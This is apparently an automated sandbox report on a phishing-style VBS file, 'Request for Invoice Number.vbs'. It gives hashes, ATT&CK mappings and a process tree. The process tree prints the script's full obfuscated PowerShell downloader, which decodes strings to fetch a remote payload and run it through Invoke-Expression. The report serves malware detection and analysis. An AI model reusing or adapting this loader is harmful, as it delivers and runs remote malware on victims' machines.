8007c019378d8d9371258d6c5eec34c674333c6410a1e299524bf0cbe45e4b6f

General

Target

Request for Invoice Number.vbs
Size

14KB
MD5

a3deccd21a468366e10004c42b364439
SHA1

42cee1ecb79c140ee40a9efdd204bf84a2301904
SHA256

0ccb57ad1aedffdbdb1a394b230db1396be375ca47b1ff3a0de855819c647252
SHA512

27f049243e52be444b6fe306808b5496da08c4b4180cc55b7106046e00417a785298b84a6f52903f07f2f505d782d5c79d46f48caa1a0c38d9ffa8ba841da7f3
SSDEEP

192:pvJw0eWedwQ4yBbtlqmiimIHnp5geRvLdoPoQD4gopQsW0B2P9UfrMmV6Qb6:Av5Qc5f8onp5geRDdfQ/m/+U1rb6

Score

7^/10

discovery execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5092	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
456	cmd.exe
3876	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3876	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 456	2252	WScript.exe	82
PID 2252 wrote to memory of 456	2252	WScript.exe	82
PID 456 wrote to memory of 3876	456	cmd.exe	84
PID 456 wrote to memory of 3876	456	cmd.exe	84
PID 2252 wrote to memory of 5092	2252	WScript.exe	85
PID 2252 wrote to memory of 5092	2252	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Invoice Number.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping 6777.6777.6777.677e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:456
- - C:\Windows\system32\PING.EXE
    ping 6777.6777.6777.677e
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Figureless Bostryx Hypernutrition Florentinerne #>;$Novemberish='Omredaktions';<#Sandblsere Frustrationens Twanging Kanutten Capcase Poppes #>;$Snowballing=$host.PrivateData;If ($Snowballing) {$Foragter++;}function Saps($Sterve){$Lygternes=$Befride+$Sterve.Length-$Foragter;for( $Halituosity=7;$Halituosity -lt $Lygternes;$Halituosity+=8){$Cresses='forbarmelses';$Udsugendes100+=$Sterve[$Halituosity];}$Udsugendes100;}function Histological($Raggil){ . ($Condensery) ($Raggil);}$Blusteration=Saps 'praesidMHuggerto ReasonzSp untliFirmandlStolerylUnsplitaImmurem/Bibi ne5 Scrubl.Splanch0 Cerami Forwrap(KeglestW benaadiTripolin T.deledreserveo Friskiw N nmalschaponb NonapprNMadstedTSulfole Tonedv1Palmest0 Me,bra.Udvisni0St pper; Stjern BimodalWTrommesiMarionen alamid6Landsby4Mdendes;Pa alog Ops,litxChlo.gu6 ocali4Hydrocy;Uvildig El oblraffiancvAkutbeh:gookysk1Ketuh o2 Baulki1 Medsky.Ge,onom0Waleri.)Muscula ndebryG quatedeDetonatcSperatek Halvleobogtryk/Connall2Snippi 0Medulla1Adg,nge0Erstatt0Lante n1Liberal0Serpent1Rentepe OtophonF skaberiR fledorBloms,eeTktordrfionisinoFridelaxCi iifo/Pancrea1Raflede2Urbifyk1 ladyki. Mond.t0Neglect ';$Unattaining=Saps 'TvillinuHoppingSSka tehERaadighrPrognos-Bogt lrA P,legmgStefansEC mmissNM.luesrTHyrdebr ';$Aripple=Saps 'PersicohGyrodactDiskusstReimpatp Viewin: rbour/Ho.elle/HanovercPreexclhTennefoaKrnedeun nprivadMicroelaL thelyrRoderictKommand.Valutatr tockcoSemitub/ SlringS Halavaa rafikalHeliolaoOvertegnJordfyle arosserUds,velnSillin eAmph.bos iesnat.Degnestpadve tnsYmpedesd Term.t ';$Fartskrivernes=Saps 'Foruren>Klukket ';$Condensery=Saps 'P.otoceI ortrayEanstrygXStren,e ';$Navneordet='Stnkeskrmenes';$Fejludskrift='\Persuading.Dho';Histological (Saps 'Stammeo$Billed gwavi,talKlonin o Vi.ensbReligioaUddyb.nlF,rkrnk:Bilfab,v conveyeOrganizd arch,cbSektionl iandene AfgnavvImpulsfnNegerineUnelatesrealite=Militar$ElaeopteRaceblan PlebicvSeidels: BeadhoaCorbellpAnnoncep Efterfd,akadueaparteritGentisiaSl yeda+ Progra$PeabraiF Laasnie MensurjKurererl Fina suSkalde,d ropicesno cohekSnydetarGlazilyiGevrko f BiklantHenvisn ');Histological (Saps 'Jarl,mm$FoggertgPolarogltsjap mo InutilbVonsforaVa,komalUda tni:Ekspe eDRosmarie questrn Dimerit Friha e SumbullBassondlNyh dsaoBrunopr=Ayenbit$DetenusATor indrSortkuniInf angpFlo,tplp BastialCacop teFiguriz.MisapprsExadverpCentriflO lysniiBolshevt G unds(Coustum$Frilu,tFGraysonaOgreishrPigsti.tsi usdyswanderskFoldeder ismayei,dfaldsvSmlendeevind ser Beneddn RagouteCh irops lyveha)Fortjen ');Histological (Saps ' Friter[GrundskNNonnecee SpacebtForskre.AftercoS,owelizeChartrirBonn tsvMaorihuiDkningecFrithjoeRefractP Assay.oGastropiRetsmedn Sh nintTillberMRd.ungea CumananYonk,lla Overn,gKomplemeKalkvrkrSpirit ]Informa:.onadja: Te mogSdistinke KnollecpostveruT,lflytrBrnebogiMikvehst formicyFleshemPconcordrUnderk.oAfpropstForfriso IdriftcOverr boBangwakl refact Hip oc=Dusse a Blamage[Fae iesN InaugueRel.clitCent eb.ElektroSRentesaeSjuskercEft raauRoyaltyrJello liReshapetamagerbyHov.dtePJe.brynrFolcasvoProdemotStumfiloGaranticMu.ticaoSpadesnlBefstedTReg onsy reetabpTornsaneBarbwir]Van.ern:Eche oo: ParticTW ukensl Toftersceno.ap1Wholesa2 Indb r ');$Aripple=$Dentello[0];$Babyboom=(Saps 'Paranoi$AtomprogSaucemaLYdervero MnemonbGnisttnaCoadunaLValgkon:AlbueskIWorset N oliolTRevivalE erbertRS aanplvSvigetseN dslagnVitalisT S rataiSarsonroRadiatiNRumm gye Amp,rerGen embsTorumsl=PeoplerNAmentiaeHeparinWWickert-Kipuka OMillemaBShelfbaJFlaringETinfoliC kommisTunadvan SalgsamS Snar eYCanthorS UnivertButikstEBea bejmPsykoso.FicusseN disaffeBrugsmstHypheni.fabulanwRust ciEBowles,B nonuniCMonachil VatteriS.atsmie tricykN Foldy,t Risiko ');Histological ($Babyboom);Histological (Saps ' Til yl$Ecblas IOff,rplnMonasjat eltereNonvex r TomganvSsonslueBarbec nWe.locktFirsaariunfertioSlikpornMinisteeLegitimrIm redisSlidstr.TohaandH eksualeBugf nna olivadRremaske oscanirKorkp.es,ranten[Ddsbose$ Tumul UHdrevivn nfrounatermitatAcidi it,kruegnaTaalmodiBogan rnComposiidkseletnstandargProfess]Brugers=Indre s$ HuaridBO erratl egeleuMiljforsThoughttBrugerseSeggi sr.requenaChervantPi niceiSluse ooAca thonC.unter ');$Saettemaskine=Saps ' Bow.tr$HvilkerIAllotypn DuratitPrankiseEn.omicrimpartev,atrioteSyld.tenHovedfitintrainiUnfretfoCoun ern.tudiese Sty,efrBuggjorsFotosta. SvanekDJanisaroF rhandwSignatanDampvaslBoomerao databaaMesocradIntergaFStuntmeiDeprivelSkraabjeLysst.a( Afroas$TheophrATrag.skr FillowiBegrebnp KlistepVicarshlHom cide Revoti,Ankerpl$ChemigrS BankkolRed,ablaGanosisnMotoriskPrincewnskrivebiboreanpnCong,algRhynchoeBrodererforklejn LandereSinssyg)Aestuar ';$Slankningerne=$vedblevnes;Histological (Saps 'Nordafr$EuonymuGSenegall H ttenOSynkefrBpirringAY rvaasLMargi.a: augraiUDozer nnNdlgnenDpligt,oeRonionsR Arbejdkkonver,aAlvorssnLy kopitKursspreRenteforUnrefris Kvantu=Unchris(ErithactAmtsdirEGourmetSCykel.uT Betali-Kon ortpKildernAGraveshTBluseleHFora rs diolat$TjhusedsStueflulEvincibaChafebrnRvesaksk Ref,eknDobbeltiFrikassNLyseholG TveggeEFlygtesre ectron Snubbye Gyngeh)Airplay ');while (!$Underkanters) {Histological (Saps 'Idemand$Sn,psacg EnemrklPseudoaoDokumenb UlotriaStrbernlSplenoh:ImpregaE WatersrKnurrenuN minerdSan,elti.imredetSat ner9slubbyn9 Punctu=M,lthas$Attachmt MidterrPredamnuRuskregeExoteri ') ;Histological $Saettemaskine;Histological (Saps 'PragtbiSKonbroltTenpinmaDeodo arStra.fetPintada-AcroconSInterknlOpdrtteeAnoascheSubjectpPassatv Anlgsre4 Phaedo ');Histological (Saps 'Inco cl$UrotoxigDybkletlSt rhero Hde krbParadiaaH.rendelVindst :Fe.alizUPdag,genAuletehdStak enevivi.strSkortwakArcti saP.ratfinAgtersttPersuadeUngradarOpga,efsFu kfol=Deponer(RoulereTskrigeueUlfh,ldsT.hadertU ulius- PolyteP ForfinaeatsgantIndstifh Forh n ubisolo$Pilote S TemperlSekund.aAlgerienMaledickPolygonnKlatvasiNod lisnFrisagegT iosuleThyroidrAntiamynRebeho eTransmi) ilitrt ') ;Histological (Saps 'Pigroot$AutocargSammenrlErh ervoDatadelb NonregaSuperablDoedsfa:B.lanceI SpittinTrvlernf.ishkesiAdv.sercOffi iae GrammarScenogreVinalsinDyttededcorolitePyeloc.= E.nsbe$ ArithmgGammodel DispiroRhynchobConduciaFriestelUn xult: BarbadS OrlanmiUdrensns lnoversRosci,aoFngslinoSuburbi+.ameksi+Vlg rmd%Udskrig$harlotoDVirkelieudst elnArtiskotHe.sesae yomralDabblinlEnkeltsoUnmutte.R,montecL.ddedeoIncforsuNd ingen Regnskt Destuf ') ;$Aripple=$Dentello[$Inficerende];}$Pantodon=306682;$Vaticination=33879;Histological (Saps 'Frivoli$ BommedgS orogel PhlyctoCompl,cbconciseaDri twelMicropr: MittatSDo nweitFlagsmyaGyrothem Pepperp ndepreeStr.kunrSkudveknHemi eleAn icne Lhegne =S ndbjn Ren netG Ant exeKirkegat Repoll-GamolepCLinieudo Stivnan Mandlit Neologe ArsoninSplendatP etele Rbendec$B,okninS KonomilLynfro aStrmfrenSandhedkOblatkan remtidimicroplnTo.ayergSmeltepe T entarBordellnKabelfreScillit ');Histological (Saps ' Bj rgb$Ventilag CenterlregistroGummibabTroke.laVictor,l Ildflu:SolosanODansk mpPaleocrsElek roeKartotejOutblazlBugthv.i SkrivendistribgUneu,hee EpisporHaardtsnNit omeeSph.cel phlebe=Dobbelt Ope ate[IbldstnSSvagsynyIlyr,desHjrebentMercadee.epetitmOust.ac. L deliCunderafo UdborinHnsehusvDividepe ,onfrar.lstermtNapieri]Antiato:Praepos:CyrillaFZavijavrPhotop oUnbendem FuckupBLilacinaSprednis ncrimseOce.lat6Musk la4 LianatSFo sikrtUforsrgrbideviniOpsendenAmicuseg Flerdo(Lssespr$ chubinSPterygotR.visoraPrevenem nfleutp enterleTilranirAndriasnSkraabaeFarfade)Attribu ');Histological (Saps ' Udtydn$AshozusgThermodlTelesm,oTylvt rb onoreaF idsprlDraysja:Ruch ddIHogbus,n lighttd Banansestut erkJahvehcs Ekspore XanthorNeutralnUdpreseeSp tten Brudsty=Trapdoo Archaic[VardensSS utbruyOpholdssChemo etWri,gleeLand,fam atalys.Tric trT iverbeeFr mdrixFrockcitWhiglet.AfmilitEFedternnDeriverc Fenze oRend stdUndormaiOverbran galeasg Heezed] traale:n ternt:P atnktAEneb erSOplevelCPe ticiIRgvare ICf truo. DyotheG AngiomeSnigs yt NongraSAnkertrttrophoprInceptiiUnmutatnAffektigPimpeto(De nigh$ PrepotO ourspp Sm apisScoadsueLaicizij Em yrelmukteariaflurinnfarbrorgovernate ReweddrBlan uenBrugesieTyresds)Solutis ');Histological (Saps ',ommoti$BataljegviseliglKaa,edeo Ve.gaab PolyaraBosaettlStjerth:SolidifM Bodoune Gs eard .orsacfSibbedqo Klag,ar ThermofCideresaPsychictUnrelentJ bselueTredjebrBrokkedsHyp,bul=Vidnesb$NationaIIntersonRoutinidMan,feseToughsckOpsprins endeteeSentencrBlastosn KvlesdeSkrmblo.Non,niosIndigesuFortrinbAimingas Gl.ciet ecapparPeatmaniAft tsfn IdiomsgAkkumu,(Thomism$Alumi iP PredisakatastrnPrsentetJunip roPenduled.ningenoOwnerlenRedispe,Rettes $P.orefoVContinuaCommisst UnavowiCa talocvetosaaiOmgretnnItineraaBjrnetjtKonst uiMdeaftnoFlaskehn Ventep)Hematei ');Histological $Medforfatters;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmetglij.p5m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5092-0-0x00007FFD85C83000-0x00007FFD85C85000-memory.dmp

Filesize
8KB

Download
memory/5092-6-0x000001367BF70000-0x000001367BF92000-memory.dmp

Filesize
136KB

Download
memory/5092-11-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download
memory/5092-12-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download
memory/5092-13-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download
memory/5092-14-0x00007FFD85C83000-0x00007FFD85C85000-memory.dmp

Filesize
8KB

Download
memory/5092-15-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download
memory/5092-16-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download
memory/5092-17-0x00007FFD85C80000-0x00007FFD86741000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing